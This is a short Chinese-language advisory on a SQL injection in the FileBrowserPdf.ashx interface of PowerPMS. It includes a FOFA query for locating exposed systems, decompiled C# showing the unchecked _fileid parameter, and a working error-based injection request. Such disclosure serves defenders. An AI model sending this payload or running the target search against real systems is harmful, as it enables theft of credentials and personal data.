漏洞简介
普华PowerPMS是上海普华科技发展股份有限公司旗下一款项目管理信息平台。其PowerPMS系统FileBrowserPdf.ashx接口存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
fofa语法
app="普华科技-PowerPMS" || body="Power.login.init" && body="Power.ui.warning" && body="Power_login_btn"
漏洞分析
看下FileBrowserPdf.ashx的实现逻辑
public class FileBrowserPdf : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
string fileId = RequestHelper.GetString("_fileid");
if (!string.op_Inequality(RequestHelper.GetString("istest"), "1") || string.IsNullOrEmpty(fileId))
return;
BrowserPdfCahe.BrowserPdf(context, fileId, true);
}
当 _fileid 参数不为空时,进入BrowserPdfCahe.BrowserPdf
public static void BrowserPdf(HttpContext context, string fileId, bool IsFragmentation)
{
ViewResultModel viewResultModel = ViewResultModel.Create(true, "");
try
{
bool flag = true;
string libCfg = EntityFilesLibHelper.GetLibCfg(EntityFilesLibHelper.GetLibIdByCode(context, "FormMess"), "ToPdfPath");
if (!string.op_Inequality(libCfg, ""))
return;
IBaseBusiness byKey = BusinessFactory.CreateBusinessOperate("DocFile").FindByKey((object) fileId);
使用FindByKey来查找,这个属于老熟人了。使用FindByKey查找,无过滤或校验,因此造成SQL注入漏洞,就是朴实无华。
漏洞复现
POST /PowerPlat/Control/FileBrowserPdf.ashx HTTP/1.1
Host: powerpms.mrxn.net
_fileid=1'and 1<@@VERSION--

通过报错注入成功在响应回显数据库版本信息

